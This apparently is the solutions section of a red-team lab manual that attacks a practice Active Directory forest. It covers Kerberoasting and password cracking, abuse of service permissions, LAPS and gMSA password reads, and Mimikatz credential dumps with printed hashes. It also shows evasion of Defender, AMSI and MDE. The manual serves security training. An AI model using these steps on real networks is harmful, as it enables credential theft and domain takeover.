Lab Manual
Lab Manual
Lab Manual
Table of Contents
Lab Instructions ............................................................................................................................................. 3
Hands-On 1: .................................................................................................................................................. 4
BloodHound .............................................................................................................................................. 4
AD Module ................................................................................................................................................ 6
Hands-On 2: ................................................................................................................................................ 12
Hands-On 3: ................................................................................................................................................ 16
Hands-On 4: ................................................................................................................................................ 19
Hands-On 5: ................................................................................................................................................ 24
PowerUp ................................................................................................................................................. 24
AccessChk................................................................................................................................................ 25
BloodHound ............................................................................................................................................ 29
Hands-On 6: ................................................................................................................................................ 30
Rubeus and John the Ripper ................................................................................................................... 31
KerberosRequestorSecurityToken.NET class from PowerShell, Mimikatz and tgsrepcrack.py .............. 33
Hands-On 7: ................................................................................................................................................ 35
Hands-On 8: ................................................................................................................................................ 38
Hands-On 9: ................................................................................................................................................ 41
winrs and open-source binaries .............................................................................................................. 41
PowerShell Remoting and Invoke-Mimi ................................................................................................. 43
Hands-On 10: .............................................................................................................................................. 46
Credentials Extraction on us-jump - MDE Bypass ................................................................................... 48
Credentials Extraction – Generates events in MDE ................................................................................ 58
Hands-On 11: .............................................................................................................................................. 60
Copy Loader.exe using xcopy and execute using winrs .......................................................................... 62
Copy and execute Rubeus using PowerShell Remoting .......................................................................... 63
Hands-On 12: .............................................................................................................................................. 67
Hands-On 13: .............................................................................................................................................. 69
Hands-On 14: .............................................................................................................................................. 76
Using Rubeus.exe .................................................................................................................................... 76
Using Invoke-Mimi.ps1and PowerShell Remoting .................................................................................. 79
Hands-On 15: .............................................................................................................................................. 82
Hands-On 16: .............................................................................................................................................. 86
Hands-On 17: .............................................................................................................................................. 89
Hands-On 18: .............................................................................................................................................. 95
Hands-on 19: ............................................................................................................................................... 99
Hands-On 20: ............................................................................................................................................ 103
Hands-On 21: ............................................................................................................................................ 107
Hands-On 22: ............................................................................................................................................ 109
Hands-on 23: ............................................................................................................................................. 111
Hands-on 24: ............................................................................................................................................. 114
Hands-on 25: ............................................................................................................................................. 118
Access eushare on euvendor-dc ........................................................................................................... 118
Access euvendor-net using PowerShell Remoting................................................................................ 123
Hands-On 26: ............................................................................................................................................ 128
Hands-On 27: ............................................................................................................................................ 135
Hands-On 28: ............................................................................................................................................ 139
Hands-On 29: ............................................................................................................................................ 145
Hands-On 30: ............................................................................................................................................ 154
Solution
We can use the Microsoft's ActiveDirectory module, BloodHound, PowerView or SharpView for
enumerating the domain. Please note that all the enumeration can be done with any other tool of your
choice as well.
BloodHound
BloodHound uses neo4j graph database and it is already installed and running on your VM. To setup
BloodHound, unzip both the BloodHound archives in C:\AD\Tools.
PS C:\Users\studentuserx> cd C:\AD\Tools\BloodHound-master\Collectors
C:\AD\Tools\BloodHound-master\Collectors>SharpHound.exe --CollectionMethods
All
-----------------------------------------------
Initializing SharpHound at 3:36 AM on 11/17/2021
-----------------------------------------------
We can upload/drag-and-drop the zip archive to BloodHound application for analysis. Press the Ctrl key
to toggle node labeling.
You can run Pre-Built or Custom queries after uploading the data. Below is an example of the built-in
query 'Find Shortest Paths to Domain Admins'.
Note: Exit BloodHound application once you have stopped using it as it uses good amount of RAM. You
may also like to stop the neo4j service if you are not using BloodHound.
AD Module
Let's start a PowerShell session using Invisishell to avoid verbose logging. We will use Microsoft's AD
Module for solving the tasks of this Hands-On:
C:\Users\studentuserx>cd C:\AD\Tools\
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
C:\AD\Tools>set COR_ENABLE_PROFILING=1
C:\AD\Tools>set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
C:\AD\Tools>powershell
DistinguishedName : CN=Administrator,CN=Users,DC=us,DC=techcorp,DC=local
Enabled : True
GivenName :
Name : Administrator
ObjectClass : user
ObjectGUID : 6065fe62-0dcb-4a5e-bcad-e99f2dec4cdd
SamAccountName : Administrator
SID : S-1-5-21-210670787-2521448726-163245708-500
Surname :
UserPrincipalName :
DistinguishedName : CN=Guest,CN=Users,DC=us,DC=techcorp,DC=local
Enabled : False
GivenName :
Name : Guest
ObjectClass : user
ObjectGUID : 5bc636ba-fa0f-4efe-b50e-de8ca1294598
SamAccountName : Guest
SID : S-1-5-21-210670787-2521448726-163245708-501
Surname :
UserPrincipalName :
DistinguishedName : CN=krbtgt,CN=Users,DC=us,DC=techcorp,DC=local
Enabled : False
GivenName :
Name : krbtgt
ObjectClass : user
ObjectGUID : 6dce7bd9-287f-4ab3-b5ba-0bb1e8aab391
SamAccountName : krbtgt
SID : S-1-5-21-210670787-2521448726-163245708-502
Surname :
UserPrincipalName :
DistinguishedName : CN=TECHCORP$,CN=Users,DC=us,DC=techcorp,DC=local
Enabled : True
[snip]
adminCount : 1
CanonicalName : us.techcorp.local/Users/Domain Admins
CN : Domain Admins
Created : 7/5/2019 12:49:17 AM
createTimeStamp : 7/5/2019 12:49:17 AM
Deleted :
Description : Designated administrators of the domain
DisplayName :
DistinguishedName : CN=Domain
Admins,CN=Users,DC=us,DC=techcorp,DC=local
dSCorePropagationData : {7/10/2019 9:53:40 AM, 7/10/2019 9:00:03
AM, 7/6/2019 9:11:13 PM, 7/6/2019 3:04:32
AM...}
GroupCategory : Security
GroupScope : Global
CN=Administrator,CN=Users,DC=us,DC=techcorp,DC=local}
MemberOf : {CN=Denied RODC Password Replication
Group,CN=Users,DC=us,DC=techcorp,DC=local,
CN=Administrators,CN=Builtin,DC=us,DC=techcorp,DC=local}
Members :
{CN=decda,CN=Users,DC=us,DC=techcorp,DC=local,
CN=Administrator,CN=Users,DC=us,DC=techcorp,DC=local}
Modified : 7/19/2019 12:16:32 PM
modifyTimeStamp : 7/19/2019 12:16:32 PM
Name : Domain Admins
nTSecurityDescriptor :
System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
CN=Group,CN=Schema,CN=Configuration,DC=techcorp,DC=local
ObjectClass : group
ObjectGUID : 218cc77d-0e1c-41ed-91b2-730f6279c325
objectSid : S-1-5-21-210670787-2521448726-163245708-512
ProtectedFromAccidentalDeletion : False
SamAccountName : Domain Admins
sAMAccountType : 268435456
sDRightsEffective : 0
SID : S-1-5-21-210670787-2521448726-163245708-512
SIDHistory : {}
uSNChanged : 282184
uSNCreated : 12315
whenChanged : 7/19/2019 12:16:32 PM
whenCreated : 7/5/2019 12:49:17 AM
distinguishedName : CN=Administrator,CN=Users,DC=us,DC=techcorp,DC=local
name : Administrator
objectClass : user
objectGUID : 6065fe62-0dcb-4a5e-bcad-e99f2dec4cdd
distinguishedName : CN=decda,CN=Users,DC=us,DC=techcorp,DC=local
name : decda
objectClass : user
objectGUID : 0dfb0572-730c-432e-9404-769e0584bd95
SamAccountName : decda
SID : S-1-5-21-210670787-2521448726-163245708-1289
Since, our current domain (us.techcorp.local) is not a root domain, the above command returns an
error. We need to query the root domain as Enterprise Admins group is present only in the root of a
forest.
distinguishedName : CN=Administrator,CN=Users,DC=techcorp,DC=local
name : Administrator
objectClass : user
objectGUID : a8ee80ca-edc5-4c5d-a210-b58ca11bd055
SamAccountName : Administrator
SID : S-1-5-21-2781415573-3701854478-2406986946-500
Let’s move on the last task of this hands-on. To find the Kerberos policy, let's use PowerView:
C:\Users\studentuserx>cd C:\AD\Tools\
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
C:\AD\Tools>set COR_ENABLE_PROFILING=1
C:\AD\Tools>set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
C:\AD\Tools>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\AD\Tools> . C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> (Get-DomainPolicy).KerberosPolicy
MaxTicketAge : 10
MaxRenewAge : 7
MaxServiceAge : 600
MaxClockSkew : 5
TicketValidateClient : 1
Solution
We can continue using PowerView from InvisiShell for enumerating GPO. To enumerate Restricted Groups
from GPO:
PS C:\AD\Tools> Get-DomainGPOLocalGroup
GPODisplayName : Mgmt
GPOName : {B78BFC6B-76DB-4AA4-9CF6-26260697A8F9}
GPOPath :
\\us.techcorp.local\SysVol\us.techcorp.local\Policies\{B78BFC6B-76DB-4AA4-
9CF6-26260697A8F9}
GPOType : RestrictedGroups
Filters :
GroupName : US\machineadmins
GroupSID : S-1-5-21-210670787-2521448726-163245708-1118
GroupMemberOf : {S-1-5-32-544}
GroupMembers : {}
Now, to look for membership of the Restricted Groups 'machineadmins' we can use Get-
DomainGroupMember from PowerView or Get-ADGroupMember from AD module:
PS C:\AD\Tools> Get-DomainOU
usncreated : 7925
systemflags : -1946157056
iscriticalsystemobject : True
gplink : [LDAP://CN={6AC1786C-016F-11D2-945F-
00C04fB984F9},CN=Policies,CN=System,DC=us,DC=techcorp,DC=l
ocal;0]
name
----
STUDENT11
STUDENT12
[snip]
Next task is to list the GPOs. Use the below PowerView command:
PS C:\AD\Tools> Get-DomainGPO
usncreated : 7793
systemflags : -1946157056
displayname : Default Domain Policy
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-
A28C-00C04FB94F17}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC
-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-
00C04FB94F17}]
whenchanged : 7/20/2019 11:35:15 AM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
usncreated : 330304
displayname : StudentPolicies
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-
3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged : 7/20/2019 2:17:57 PM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged : 338463
dscorepropagationdata : {7/30/2019 12:35:19 PM, 1/1/1601 12:00:00 AM}
name : {FCE16496-C744-4E46-AC89-2D01D76EAD68}
flags : 0
cn : {FCE16496-C744-4E46-AC89-2D01D76EAD68}
gpcfilesyspath :
\\us.techcorp.local\SysVol\us.techcorp.local\Policies\{FCE16496-C744-4E46-
AC89-2D01D76EAD68}
distinguishedname : CN={FCE16496-C744-4E46-AC89-
2D01D76EAD68},CN=Policies,CN=System,DC=us,DC=techcorp,DC=local
whencreated : 7/20/2019 11:48:51 AM
versionnumber : 4
instancetype : 4
Solution
To enumerate ACLs, we can use Get-ObjectACL from PowerView or Get-ACL with AD:\ PSProvider using
the ActiveDirectory module.
AceQualifier : AccessAllowed
ObjectDN : CN=Domain Admins,CN=Users,DC=us,DC=techcorp,DC=local
ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren
ObjectAceType : ms-Exch-Active-Sync-Devices
ObjectSID : S-1-5-21-210670787-2521448726-163245708-512
InheritanceFlags : ContainerInherit
BinaryLength : 72
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
IsCallback : False
PropagationFlags : InheritOnly
SecurityIdentifier : S-1-5-21-2781415573-3701854478-2406986946-1119
AccessMask : 7
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit, InheritOnly
InheritedObjectAceType : inetOrgPerson
OpaqueLength : 0
[snip]
ActiveDirectoryRights : GenericAll
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
[snip]
Now, to check for modify rights/permissions for the studentuserx, we can use Find-InterestingDomainACL
from PowerView. In the below command we filter results for studentuserx. Please note that the below
command may take very long to complete:
We don't get any output. This means studentuserx has no modify permissions on any object in the domain.
Let's try for the StudentUsers group. Please note that the below command may take very long to
complete:
ObjectDN :
CN=Support11User,CN=Users,DC=us,DC=techcorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-210670787-2521448726-163245708-1116
IdentityReferenceName : studentusers
IdentityReferenceDomain : us.techcorp.local
IdentityReferenceDN : CN=StudentUsers,CN=Users,DC=us,DC=techcorp,DC=local
IdentityReferenceClass : group
ObjectDN :
CN=Support12User,CN=Users,DC=us,DC=techcorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-210670787-2521448726-163245708-1116
IdentityReferenceName : studentusers
IdentityReferenceDomain : us.techcorp.local
IdentityReferenceDN : CN=StudentUsers,CN=Users,DC=us,DC=techcorp,DC=local
IdentityReferenceClass : group
[snip]
Solution
Let’s enumerate all domains using the ActiveDirectory module from InvisiShell:
PS C:\AD\Tools> (Get-ADForest).Domains
techcorp.local
us.techcorp.local
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=eu.local,CN=System,DC=us,DC=techcorp,DC=local
ForestTransitive : False
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=usvendor.local,CN=System,DC=techcorp,DC=local
ForestTransitive : True
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : usvendor.local
ObjectClass : trustedDomain
ObjectGUID : 481a3ade-0e65-4dc5-baf0-fc692a3a10c5
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=techcorp,DC=local
Target : usvendor.local
TGTDelegation : False
TrustAttributes : 8
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
Now, to list only the external trusts, using the ActiveDirectory module:
SourceName : us.techcorp.local
TargetName : eu.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Bidirectional
WhenCreated : 7/13/2019 11:17:35 AM
WhenChanged : 1/7/2021 11:38:29 AM
Note that we have a bi-directional trust with eu.local. In a bi-directional trust or incoming one-way trust
from eu.local to us.techcorp.local, we can extract information from the eu.local forest. Let's go for the
last task and enumerate trusts for eu.local forest using the Active Directory module:
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=euvendor.local,CN=System,DC=eu,DC=local
ForestTransitive : True
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : euvendor.local
ObjectClass : trustedDomain
ObjectGUID : 7f2eb7ca-70bc-4f72-92a7-c04aaaf296c4
SelectiveAuthentication : False
SIDFilteringForestAware : True
SIDFilteringQuarantined : False
Source : DC=eu,DC=local
Target : euvendor.local
TGTDelegation : False
TrustAttributes : 72
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
Using PowerView:
TopLevelNames : {euvendor.local}
ExcludedTopLevelNames : {}
TrustedDomainInformation : {euvendor.local}
SourceName : eu.local
TargetName : euvendor.local
TrustType : Forest
TrustDirection : Bidirectional
Solution
We can use any tool from PowerUp, beRoot, Invoke-Privesc or Accesschk from the SysInternals suite to
look for service related issues.
PowerUp
Let's use PowerUp from InvisiShell. Remember to run it from a new process and do not use the same
one where PowerView is loaded:
C:\Users\studentuserx>cd C:\AD\Tools\
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
C:\AD\Tools>set COR_ENABLE_PROFILING=1
C:\AD\Tools>set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
C:\AD\Tools>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\AD\Tools> . C:\AD\Tools\PowerUp.ps1
PS C:\AD\Tools> Invoke-AllChecks
[*] Running Invoke-AllChecks
[snip]
[*] Checking service permissions...
ServiceName : ALG
Path : C:\Windows\System32\alg.exe
StartName : LocalSystem
Let’s use the abuse function for the service permission issue and add our current domain user to the local
Administrators group.
ServiceAbused Command
------------- -------
ALG net localgroup Administrators us\studentuserx /add
We can see that the us\studentuserx is a local administrator now. Just logoff and logon again and we have
local administrator privileges!
AccessChk
The same attack can be executed with accessch64.exe from Sysinternals:
RW ALG
SERVICE_ALL_ACCESS
We can see that the studentuserx has Full Permissions on ALG service. Let's abuse the permissions
manually:
Let's enumerate group memberships for studentuserx. The ActiveDirectory module command Get-
ADPrinicpalGroupMemebsrhip does not provide ability to recursively look for group membership.
Therefore, we can use the following simple PowerShell code from InvisiShell. Note that the code uses the
ActiveDirectory module so that should be imported first:
Get-ADPrincipalGroupMembershipRecursive 'studentuserx'
CN=Domain Users,CN=Users,DC=us,DC=techcorp,DC=local
CN=StudentUsers,CN=Users,DC=us,DC=techcorp,DC=local
CN=Users,CN=Builtin,DC=us,DC=techcorp,DC=local
CN=MaintenanceUsers,CN=Users,DC=us,DC=techcorp,DC=local
CN=Managers,CN=Users,DC=us,DC=techcorp,DC=local
ObjectDN : CN=MachineAdmins,OU=Mgmt,DC=us,DC=techcorp,DC=local
ObjectSID : S-1-5-21-210670787-2521448726-163245708-1118
IdentitySID : S-1-5-21-210670787-2521448726-163245708-1117
ActiveDirectoryRights : GenericAll
InheritanceType : All
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : bf967a9c-0de6-11d0-a285-00aa003049e2
ObjectFlags : InheritedObjectAceTypePresent
AccessControlType : Allow
IdentityReferencename : US\managers
IsInherited : True
InheritanceFlags : ContainerInherit
PropagationFlags : None
ObjectDN : CN=MachineAdmins,OU=Mgmt,DC=us,DC=techcorp,DC=local
ObjectSID : S-1-5-21-210670787-2521448726-163245708-1118
ActiveDirectoryRights : ReadProperty, WriteProperty
IdentityName : US\managers
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType : bf9679c0-0de6-11d0-a285-00aa003049e2
InheritedObjectAceType : bf967a9c-0de6-11d0-a285-00aa003049e2
BinaryLength : 72
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 48
SecurityIdentifier : S-1-5-21-210670787-2521448726-163245708-1117
AceType : AccessAllowedObject
AceFlags : ContainerInherit, Inherited
IsInherited : True
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None
[snip]
Also, if we have a look at the machineadmins group, its description explains a lot. Using ActiveDirectory
module:
Let's add studentuserx to machineadmins group as we have GenericAll permissions on the group. Using
AD module:
Now, check if we have administrative access to the us-mgmt machine in the Mgmt OU it is the only
machine in that OU). Note that we need to clear our existing TGT so that the new group membership is
assigned in the new TGT. So, a logoff and logon may be required.
We can use winrs for accessing us-mgmt:
We can also try with PowerShell Remoting. Note that it will have verbose logging on the remote machine:
BloodHound
Using BloodHound, you can search for studentuserx node and check out the 'Group Delegated Object
Control' under Outbound Object Control
Solution
We first need to find out services running with user accounts as the services running with machine
accounts have difficult passwords. We can use PowerView’s (Get-DomainUser –SPN) or ActiveDirectory
module for discovering such services. Using ActiveDirectory module:
DistinguishedName : CN=krbtgt,CN=Users,DC=us,DC=techcorp,DC=local
Enabled : False
GivenName :
Name : krbtgt
ObjectClass : user
ObjectGUID : 6dce7bd9-287f-4ab3-b5ba-0bb1e8aab391
SamAccountName : krbtgt
ServicePrincipalName : {kadmin/changepw}
SID : S-1-5-21-210670787-2521448726-163245708-502
Surname :
UserPrincipalName :
DistinguishedName : CN=serviceaccount,CN=Users,DC=us,DC=techcorp,DC=local
Enabled : True
GivenName : service
Name : serviceaccount
ObjectClass : user
ObjectGUID : 8a97f972-51b1-4647-8b73-628f5da8ca01
SamAccountName : serviceaccount
ServicePrincipalName : {USSvc/serviceaccount}
SID : S-1-5-21-210670787-2521448726-163245708-1144
Surname : account
UserPrincipalName : serviceaccount
[snip]
Please note that it is not necessary to have an actual service using 'serviceaccount'. For the DC, an
account with SPN set is a service account.
Note that Windows Defender would detect Rubeus execution even when used with Loader. To avoid
that, let’s pass encoded arguments to the Loader.
First, run the below command on the student VM to generate encoded arguments for "kerberoast"
C:\AD\Tools>C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: kerberoast
set "z=t"
set "y=s"
set "x=a"
set "w=o"
set "v=r"
set "u=e"
set "t=b"
set "s=r"
set "r=e"
set "q=k"
set "Pwn=%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
C:\AD\Tool>set "z=t"
C:\AD\Tool>set "y=s"
C:\AD\Tool>set "x=a"
[snip]
C:\AD\Tool>echo %Pwn%
Kerberoast
______ _
(_____ \ | |
v2.2.1
C:\AD\Tools> C:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --
wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123 (?)
1g 0:00:00:00 DONE (2021-01-10 02:12) 76.92g/s 59076p/s 59076c/s 59076C/s
password..9999
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Id : uuid-205a6721-7110-4433-8a47-6687a2ba2f31-1
SecurityKeys :
{System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 1/10/2021 1:04:23 PM
ValidTo : 1/10/2021 7:45:57 PM
ServicePrincipalName : USSvc/serviceaccount
SecurityKey :
System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
PS C:\AD\Tools> klist
PS C:\AD\Tools> . C:\AD\Tools\Invoke-Mimi.ps1
PS C:\AD\Tools> Invoke-Mimi -Command '"kerberos::list /export"'
Solution
Let’s check if studentuserx has permissions to set User Account Control settings for any user. Recall from
a previous hands-on that we also scan ACLs if any group of which studentuserx is a member has
interesting permissions. Run the below PowerView command from InvisiShell:
ObjectDN :
CN=Support23User,CN=Users,DC=us,DC=techcorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-210670787-2521448726-163245708-1116
IdentityReferenceName : studentusers
IdentityReferenceDomain : us.techcorp.local
IdentityReferenceDN : CN=StudentUsers,CN=Users,DC=us,DC=techcorp,DC=local
IdentityReferenceClass : group
ObjectDN :
CN=Support24User,CN=Users,DC=us,DC=techcorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-210670787-2521448726-163245708-1116
IdentityReferenceName : studentusers
IdentityReferenceDomain : us.techcorp.local
IdentityReferenceDN : CN=StudentUsers,CN=Users,DC=us,DC=techcorp,DC=local
IdentityReferenceClass : group
[snip]
ServicePrincipalName
--------------------
{}
Since studentuserX has GenericAll rights on the supportXuser, let’s force set a SPN on it. Using
ActiveDirectory module:
Or
Using PowerView:
ServicePrincipalName
--------------------
us/myspnX
C:\AD\Tools>C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: kerberoast
set "z=t"
set "y=s"
[snip]
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.1
C:\AD\Tools>C:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --
wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt
C:\AD\Tools\targetedhashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Desk@123 (?)
1g 0:00:00:00 DONE (2021-01-10 05:27) 66.66g/s 51200p/s 51200c/s 51200C/s
password..9999
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Solution
First, we need to find the OUs where LAPS is in use. We can enumerate this using the ActiveDirectory
module and LAPS module. Let's use Get-LAPSPermissions.ps1 PowerShell script for that. Remember that
we continue to use InvisiShell to run PowerShell tools:
PS C:\AD\Tools> C:\AD\Tools\Get-LapsPermissions.ps1
Read Rights
organizationalUnit IdentityReference
------------------ -----------------
OU=MailMgmt,DC=us,DC=techcorp,DC=local US\studentusers
Write Rights
OU=MailMgmt,DC=us,DC=techcorp,DC=local NT AUTHORITY\SELF
AceQualifier : AccessAllowed
So, the studentusers group can read password for LAPS managed Administrator on the us-mgmt
machine. Let's try it using the Active Directory module, LAPS module and PowerView. Note that the
password could be different for your lab:
Using PowerView:
t7HoBF+m]ctv.]
Solution
We can use either winrs and open-source binaries or PowerShell Remoting and Invoke-Mimi.ps1. Let us
try them one by one.
Next, we can download and run SafetyKatz in memory using Loader. To bypass behaviour detection of
SafetyKatz we need to perform an additional step. We need to forward traffic from local (target) machine
to the student VM. This way, the download always happens from 127.0.0.1
Run the following commands to connect to us-mailmgmt using winrs and forward the traffic. Remember
to modify the IP address in connectaddress in the netsh command to your student VM:
Now, we will use the Loader.exe to run SafetyKatz.exe from memory to extract credentials from the lsass
process. Remember to host SafetyKatz.exe on a local web server on your Student VM.
C:\AD\Tools>C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: sekurlsa::ekeys
set "z=s"
set "y=y"
mimikatz(commandline) # -path
ERROR mimikatz_doLocal ; "-path" command of "standard" module not found !
[snip]
*
Username : provisioningsvc
*
Domain : US.TECHCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
a573a68973bfe9cbfb8037347397d6ad1aae87673c4f5b4979b57c0b745aee2a
rc4_hmac_nt 44dea6608c25a85d578d0c2b6f8355c4
rc4_hmac_old 44dea6608c25a85d578d0c2b6f8355c4
rc4_md4 44dea6608c25a85d578d0c2b6f8355c4
[snip]
Alternatively, we could also use bitsadmin, a Microsoft signed binary to download NetLoader on us-
mailmgmt. Remember to host Loader.exe on a local web server on your student VM.
We need to disable AMSI for the PSSession so that we can use the stock Invoke-Mimi.ps1 script. To
Now, load Invoke-Mimi in the remote session and execute it to extract the secrets. Note that we have
already disabled AMSI for this PSSession:
mimikatz(powershell) # sekurlsa::keys
*
Username : provisioningsvc
*
Domain : US.TECHCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
a573a68973bfe9cbfb8037347397d6ad1aae87673c4f5b4979b57c0b745aee2a
[snip]
Solution
To enumerate gMSAs, we can use the ADModule
C:\Users\studentuserx>cd C:\AD\Tools
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PrincipalsAllowedToRetrieveManagedPassword
------------------------------------------
{CN=provisioning svc,CN=Users,DC=us,DC=techcorp,DC=local}
C:\Windows\system32> C:\AD\Tools\ArgSplit.bat
[snip]
C:\Windows\system32>set "Pwn=%u%%v%%w%%x%%y%%z%"
C:\Windows\system32>echo %Pwn%
asktgt
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:provisioningsvc
/aes256:a573a68973bfe9cbfb8037347397d6ad1aae87673c4f5b4979b57c0b745aee2a
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[*] Applying amsi patch: true
[*] Applying etw patch: true
[*] Decrypting packed exe...
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[snip]
In the new cmd session, run the following commands to get the password blob:
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> Import-Module C:\AD\Tools\ADModule-
master\Microsoft.ActiveDirectory.Management.dll
PS C:\Windows\system32> Import-Module C:\AD\Tools\ADModule-
master\ActiveDirectory\ActiveDirectory.psd1
PS C:\Windows\system32> $Passwordblob = (Get-ADServiceAccount -Identity
jumpone -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
Using the DSInternals module, lets decode the password and convert it to NTLM hash (as the clear-text
password is not writable)
PS C:\Windows\system32> Import-Module
C:\AD\Tools\DSInternals_v4.7\DSInternals\DSInternals.psd1
PS C:\Windows\system32> $decodedpwd = ConvertFrom-ADManagedPasswordBlob
$Passwordblob
PS C:\Windows\system32> ConvertTo-NTHash –Password
$decodedpwd.SecureCurrentPassword
0a02c684cc0fa1744195edd1aec43078
C:\Windows\system32> C:\AD\Tools\ArgSplit.bat
[snip]
Check for admin privileges on a machine in the target domain. Run the below commands in the process
running with privileges of jumpone:
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
PS C:\Windows\system32> Find-PSRemotingLocalAdminAccess -Domain
us.techcorp.local -Verbose
US-JumpX
Sweet! We have administrative access to US-JumpX machine as jumpone. We can now access us-jumpX
using winrs or PowerShell Remoting. When trying this in lab, note the name of us-jumpX in your lab
instance.
C:\Users\jumpone$>set u
USERDNSDOMAIN=US.TECHCORP.LOCAL
USERDOMAIN=US
USERNAME=jumpone$
C:\Users\jumpone$>exit
Exiting the shell and enumerating WDAC status using Get-CimInstance cmdlet we find that WDAC has
been enabled on us-jump.
AvailableSecurityProperties : {1, 3, 5}
CodeIntegrityPolicyEnforcementStatus : 2
InstanceIdentifier : 4ff40742-2649-41b8-bdd1-
e80fad1cce80
RequiredSecurityProperties : {0}
SecurityServicesConfigured : {0}
SecurityServicesRunning : {0}
